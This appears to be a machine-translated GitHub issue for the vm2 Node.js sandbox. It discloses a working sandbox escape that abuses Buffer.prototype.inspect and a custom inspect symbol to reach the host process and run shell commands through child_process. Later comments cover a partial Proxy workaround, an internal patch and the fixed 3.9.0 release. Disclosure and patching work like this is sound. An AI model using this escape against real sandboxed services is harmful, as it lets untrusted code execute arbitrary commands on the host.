Vm2: 검사λ₯Ό ν†΅ν•œ 브레이크 아웃

에 λ§Œλ“  2020λ…„ 03μ›” 01일  Β·  11μ½”λ©˜νŠΈ  Β·  좜처: patriksimek/vm2

λ‹€μŒ μ½”λ“œλ₯Ό μ‚¬μš©ν•˜μ—¬ vm을 μ΄μŠ€μΌ€μ΄ν”„ν•˜κ³  예λ₯Ό λ“€μ–΄ μ‰˜μ—μ„œ λͺ…령을 μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
μ—¬κΈ° # 187μ—μ„œ μ΄λ―Έλ³΄κ³ λ˜μ—ˆμ§€λ§Œ 13.6.0 및 vm2 v3.8.4 λ…Έλ“œμ—μ„œ 계속 μž‘λ™ν•©λ‹ˆλ‹€.

const {VM} = require('vm2');
const vm = new VM({
    wasm: false,
    timeout: 2000,
    sandbox: {},
    eval: false,
});

const malicious = '(' + function(){
    try { require('child_process').execSync("idea") } catch(e){}  // Not getting executed

    let buffer = {
        hexSlice: () => "",
        magic: {
            get [Symbol.for("nodejs.util.inspect.custom")](){
                throw f => f.constructor("return process")();
            }
        }
    };
    try{
        Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
    }catch(e){
        e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
    }
}+')()';
vm.run(malicious)
bug confirmed

κ°€μž₯ μœ μš©ν•œ λŒ“κΈ€

@mxschmitt 방금 3.9.0으둜 μΆœμ‹œλ˜μ—ˆμŠ΅λ‹ˆλ‹€. μ§€μ—°λ˜μ–΄ μ£„μ†‘ν•©λ‹ˆλ‹€.

λͺ¨λ“  11 λŒ“κΈ€

@patriksimek 이 λ¬Έμ œλŠ” masterμ—μ„œ μˆ˜μ •λ˜μ—ˆμ§€λ§Œ 버전 3.8.4 이후 인 https://github.com/patriksimek/vm2/pull/242 와 ν•¨κ»˜ μˆ˜μ •λ˜μ—ˆμŠ΅λ‹ˆλ‹€. λ”°λΌμ„œ mpnμ—λŠ”μ΄ μˆ˜μ • 사항이 μ—†μŠ΅λ‹ˆλ‹€.

이것은 v3.8.5κ°€ λ‚˜μ˜¬ λ•ŒκΉŒμ§€ μ—΄λ € μžˆμŠ΅λ‹ˆλ‹€.

ETAκ°€ μžˆμŠ΅λ‹ˆκΉŒ?

@ jan-osch @patriksimek 이 맀우 λΉ„ν™œμ„± 인 것 κ°™μ•„μ„œ λͺ¨λ₯΄κ² μŠ΅λ‹ˆλ‹€.

@XmiliaH κ·€ν•˜μ˜ λ‹΅λ³€κ³Ό λͺ¨λ“  기여에 κ°μ‚¬λ“œλ¦½λ‹ˆλ‹€!

μ΄λŸ¬ν•œ μ›μˆ­μ΄ 패치 ν•΄κ²° 방법이 μ—…λ°μ΄νŠΈ 된 버전이 κ²Œμ‹œ 될 λ•ŒκΉŒμ§€ μΉ¨μž…μ„ 방지 ν•  것이라고 μƒκ°ν•˜μ‹­λ‹ˆκΉŒ?

const vm = new NodeVM({
  console: 'off',
  sandbox: {
    console: consoleInterface,
    setTimeout,
    print,

    // TODO remove once vm2 fixed the breakout issue
    // Reference: https://github.com/patriksimek/vm2/issues/268
    Buffer: {
      ...Buffer,
      prototype: new Proxy(Buffer.prototype, {
        get(object, property) {
          if (property === 'inspect') {
            return () => {
              console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
              consoleInterface.error('Nice try! This breakout attempt will be reported');
            };
          }
          return object[property];
        },
      }),
    },
  },
  require: { // here define modules that can be required
    builtin: [
      // some list
    ],
    external: [
      //...
    ],
  },
});

return vm.run(code, SCRIPT_PATH);

@ jan-osch 그건 쒋은 영혼이 μ•„λ‹™λ‹ˆλ‹€.
1) [Symbol.for ( "nodejs.util.inspect.custom")] ν‚€λ₯Ό μžŠμ–΄ λ²„λ ΈμŠ΅λ‹ˆλ‹€.
2) 호슀트 λ²„νΌμ˜ ν”„λ‘œν†  νƒ€μž…μ— μ“Έ 수 μžˆμŠ΅λ‹ˆλ‹€.
3) λ¬Έμ œλŠ” console.log 도이 문제λ₯Ό μœ λ°œν•˜κ³  μ†”λ£¨μ…˜μ΄ 그것에 λŒ€ν•΄ μ•„λ¬΄κ²ƒλ„ν•˜μ§€ μ•ŠλŠ”λ‹€λŠ” κ²ƒμž…λ‹ˆλ‹€.

λΆˆν–‰νžˆλ„ μ‰¬μš΄ 해결책은 μ—†μŠ΅λ‹ˆλ‹€.

λ‹€μŒμ€ ν…ŒμŠ€νŠΈκ°€ μ œλŒ€λ‘œ 이루어지지 μ•Šμ€ μΌμ‹œμ μΈ ν•΄ν‚€ μˆ˜μ •μž…λ‹ˆλ‹€.

function hacky_fix(vm) {
    const internal = vm._internal;
    const old = internal.Decontextify.object;
    const handler = {__proto__: null};
    internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
        const value = old(object, traps, deepTraps, flags, mock);
        const better = new Proxy(value, handler);
        internal.Decontextify.proxies.set(object, better);
        internal.Contextify.proxies.set(better, object);
        return better;
    };
}

λ‚΄λΆ€ κΈ°λŠ₯을 νŒ¨μΉ˜ν•˜λ―€λ‘œμ£Όμ˜ν•΄μ„œ μ‚¬μš©ν•˜μ‹­μ‹œμ˜€.

@XmiliaH κ°μ‚¬ν•©λ‹ˆλ‹€! κ·ΈλŸ¬ν•œ 브레이크 아웃 사둀에 λŒ€ν•œ ν…ŒμŠ€νŠΈ μŠ€μœ„νŠΈκ°€μžˆλŠ” ν”„λ‘œμ νŠΈλ₯Ό μ•Œκ³  μžˆμŠ΅λ‹ˆκΉŒ? μ‘°κΈ° 경보 μ‹œμŠ€ν…œμœΌλ‘œ CI에 λͺ‡ 가지 브레이크 아웃 ν…ŒμŠ€νŠΈλ₯Ό μΆ”κ°€ν•˜κ³  μ‹ΆμŠ΅λ‹ˆλ‹€.

test / vm.js에 λͺ‡ 가지 ν…ŒμŠ€νŠΈ μΌ€μ΄μŠ€κ°€ μžˆμŠ΅λ‹ˆλ‹€. 곡격을 κ²€μƒ‰ν•˜λ©΄ 사건을 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.

μΉœκ·Όν•œ μ•Œλ¦Ό @patriksimek 은 μƒˆ 버전을 μΆœμ‹œ ν•  수 μžˆλ‹€λ©΄

@mxschmitt 방금 3.9.0으둜 μΆœμ‹œλ˜μ—ˆμŠ΅λ‹ˆλ‹€. μ§€μ—°λ˜μ–΄ μ£„μ†‘ν•©λ‹ˆλ‹€.

이 νŽ˜μ΄μ§€κ°€ 도움이 λ˜μ—ˆλ‚˜μš”?
0 / 5 - 0 λ“±κΈ‰